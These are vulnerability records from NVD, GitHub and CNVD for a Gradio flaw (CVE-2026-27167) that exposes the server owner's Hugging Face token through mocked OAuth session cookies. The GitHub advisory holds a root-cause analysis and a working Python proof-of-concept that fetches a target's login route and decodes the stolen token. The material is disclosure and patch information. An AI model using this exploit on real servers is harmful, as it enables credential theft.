{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*",
              "matchCriteriaId": "28401826-0343-4F00-8038-0291A834E4E5",
              "versionEndExcluding": "6.6.0",
              "versionStartIncluding": "4.16.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Gradio is an open-source Python package designed for quick prototyping. Starting in version 4.16.0 and prior to version 6.6.0, Gradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor\u0027s session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner\u0027s HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable. Version 6.6.0 fixes the issue."
    },
    {
      "lang": "es",
      "value": "Gradio es un paquete Python de c\u00f3digo abierto dise\u00f1ado para la creaci\u00f3n r\u00e1pida de prototipos. A partir de la versi\u00f3n 4.16.0 y antes de la versi\u00f3n 6.6.0, las aplicaciones de Gradio que se ejecutan fuera de Hugging Face Spaces habilitan autom\u00e1ticamente rutas OAuth \u0027simuladas\u0027 cuando se utilizan componentes OAuth (por ejemplo, \u0027gr.LoginButton\u0027). Cuando un usuario visita \u0027/login/huggingface\u0027, el servidor recupera su propio token de acceso de Hugging Face a trav\u00e9s de \u0027huggingface_hub.get_token()\u0027 y lo almacena en la cookie de sesi\u00f3n del visitante. Si la aplicaci\u00f3n es accesible por red, cualquier atacante remoto puede activar este flujo para robar el token HF del propietario del servidor. La cookie de sesi\u00f3n est\u00e1 firmada con un secreto codificado derivado de la cadena \u0027-v4\u0027, lo que hace que la carga \u00fatil sea trivialmente decodificable. La versi\u00f3n 6.6.0 corrige el problema."
    }
  ],
  "id": "CVE-2026-27167",
  "lastModified": "2026-03-05T13:13:11.633",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 0.0,
          "baseSeverity": "NONE",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 0.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-02-27T22:16:22.820",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-522"
        },
        {
          "lang": "en",
          "value": "CWE-798"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "gradio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.16.0"
            },
            {
              "fixed": "6.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-01T01:00:33Z",
    "nvd_published_at": "2026-02-27T22:16:22Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nGradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor\u0027s session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner\u0027s HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable.\n\n## Affected Component\n\n`gradio/oauth.py` \u2014 functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.\n\n## Root Cause Analysis\n\n### 1. Real token injected into every visitor\u0027s session\n\nWhen Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).\n\nThe function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):\n\n```python\nrequest.session[\"oauth_info\"] = mocked_oauth_info\n```\n\nThe `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):\n\n```python\nreturn {\n    \"access_token\": token,  # \u003c-- real HF token from server\n    ...\n}\n```\n\n### 2. Hardcoded session signing secret\n\nThe `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):\n\n```python\nsession_secret = (OAUTH_CLIENT_SECRET or \"\") + \"-v4\"\n```\n\nWhen running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `\"-v4\"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.\n\nIn practice, Starlette\u0027s `SessionMiddleware` stores the session data as **plaintext base64** in the cookie \u2014 the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.\n\n## Attack Scenario\n\n### Prerequisites\n\n- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)\n- The app is network-accessible (e.g. `server_name=\"0.0.0.0\"`, `share=True`, port forwarding, etc.)\n- The host machine has a Hugging Face token configured\n- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)\n\n### Steps\n\n1. Attacker sends a GET request to `http://\u003ctarget\u003e:7860/login/huggingface`\n2. The server responds with a 307 redirect to `/login/callback`\n3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token\n4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`\n\n\n## Minimal Vulnerable Application\n\n```python\nimport gradio as gr\nfrom huggingface_hub import login\n\nlogin(token=\"hf_xxx...\")\n\ndef hello(profile: gr.OAuthProfile | None) -\u003e str:\n    if profile is None:\n        return \"Not logged in.\"\n    return f\"Hello {profile.name}\"\n\nwith gr.Blocks() as demo:\n    gr.LoginButton()\n    gr.Markdown().attach_load_event(hello, None)\n\ndemo.launch(server_name=\"0.0.0.0\")\n\n```\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Gradio mocked OAuth leaks server\u0027s HF token via session + weak secret\nUsage: python exploit.py --target http://victim:7860\n       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080\n\"\"\"\nimport argparse\nimport base64\nimport json\nimport sys\nimport requests\n\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:7860\")\n    ap.add_argument(\"--proxy\", default=None, help=\"HTTP proxy, e.g. http://127.0.0.1:8080\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n    proxies = {\"http\": args.proxy, \"https\": args.proxy} if args.proxy else None\n\n    # 1. Trigger mocked OAuth flow \u2014 server injects its own HF token into our session\n    s = requests.Session()\n    s.get(f\"{base}/login/huggingface\", allow_redirects=True, verify=False, proxies=proxies)\n\n    cookie = s.cookies.get(\"session\")\n    if not cookie:\n        print(\"[-] No session cookie received; target may not be vulnerable.\", file=sys.stderr)\n        sys.exit(1)\n\n    # 2. Decode the cookie payload (base64 before the first \".\")\n    payload_b64 = cookie.split(\".\")[0]\n    payload_b64 += \"=\" * (-len(payload_b64) % 4)  # fix padding\n    data = json.loads(base64.b64decode(payload_b64))\n    token = data.get(\"oauth_info\", {}).get(\"access_token\")\n\n    if token:\n        print(f\"[+] Leaked HF token: {token}\")\n    else:\n        print(\"[-] No access_token found in session.\", file=sys.stderr)\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-h3h8-3v2v-rg7m",
  "modified": "2026-03-04T14:52:23Z",
  "published": "2026-03-01T01:00:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gradio-app/gradio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/releases/tag/gradio@6.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret"
}

{
  "cves": {
    "cve": {
      "cveNumber": "CVE-2026-27167",
      "cveUrl": "https://nvd.nist.gov/vuln/detail/CVE-2026-27167"
    }
  },
  "description": "Gradio\u662fGradio\u5f00\u6e90\u7684\u4e00\u4e2a\u5f00\u6e90Python\u5e93\uff0c\u662f\u901a\u8fc7\u53cb\u597d\u7684Web\u754c\u9762\u6f14\u793a\u673a\u5668\u5b66\u4e60\u6a21\u578b\u7684\u65b9\u6cd5\u3002\n\nGradio 4.16.0\u81f36.6.0\u4e4b\u524d\u7248\u672c\u5b58\u5728\u4fe1\u4efb\u7ba1\u7406\u95ee\u9898\u6f0f\u6d1e\u3002\u8be5\u6f0f\u6d1e\u6e90\u4e8eOAuth\u7ec4\u4ef6\u4f7f\u7528\u65f6\u81ea\u52a8\u542f\u7528\u6a21\u62dfOAuth\u8def\u7531\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u7a83\u53d6\u670d\u52a1\u5668\u6240\u6709\u8005\u7684HF\u4ee4\u724c\u3002",
  "formalWay": "\u5382\u5546\u5df2\u53d1\u5e03\u4e86\u6f0f\u6d1e\u4fee\u590d\u7a0b\u5e8f\uff0c\u8bf7\u53ca\u65f6\u5173\u6ce8\u66f4\u65b0\uff1a\r\nhttps://github.com/gradio-app/gradio/releases",
  "isEvent": "\u901a\u7528\u8f6f\u786c\u4ef6\u6f0f\u6d1e",
  "number": "CNVD-2026-13582",
  "openTime": "2026-03-12",
  "patchDescription": "Gradio\u662fGradio\u5f00\u6e90\u7684\u4e00\u4e2a\u5f00\u6e90Python\u5e93\uff0c\u662f\u901a\u8fc7\u53cb\u597d\u7684Web\u754c\u9762\u6f14\u793a\u673a\u5668\u5b66\u4e60\u6a21\u578b\u7684\u65b9\u6cd5\u3002\r\n\r\nGradio 4.16.0\u81f36.6.0\u4e4b\u524d\u7248\u672c\u5b58\u5728\u4fe1\u4efb\u7ba1\u7406\u95ee\u9898\u6f0f\u6d1e\u3002\u8be5\u6f0f\u6d1e\u6e90\u4e8eOAuth\u7ec4\u4ef6\u4f7f\u7528\u65f6\u81ea\u52a8\u542f\u7528\u6a21\u62dfOAuth\u8def\u7531\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u7a83\u53d6\u670d\u52a1\u5668\u6240\u6709\u8005\u7684HF\u4ee4\u724c\u3002\u76ee\u524d\uff0c\u4f9b\u5e94\u5546\u53d1\u5e03\u4e86\u5b89\u5168\u516c\u544a\u53ca\u76f8\u5173\u8865\u4e01\u4fe1\u606f\uff0c\u4fee\u590d\u4e86\u6b64\u6f0f\u6d1e\u3002",
  "patchName": "Gradio\u4fe1\u4efb\u7ba1\u7406\u95ee\u9898\u6f0f\u6d1e\u7684\u8865\u4e01",
  "products": {
    "product": "Gradio Gradio \u003e=4.16.0\uff0c\u003c6.6.0"
  },
  "referenceLink": "https://nvd.nist.gov/vuln/detail/CVE-2026-27167",
  "serverity": "\u4e2d",
  "submitTime": "2026-03-09",
  "title": "Gradio\u4fe1\u4efb\u7ba1\u7406\u95ee\u9898\u6f0f\u6d1e"
}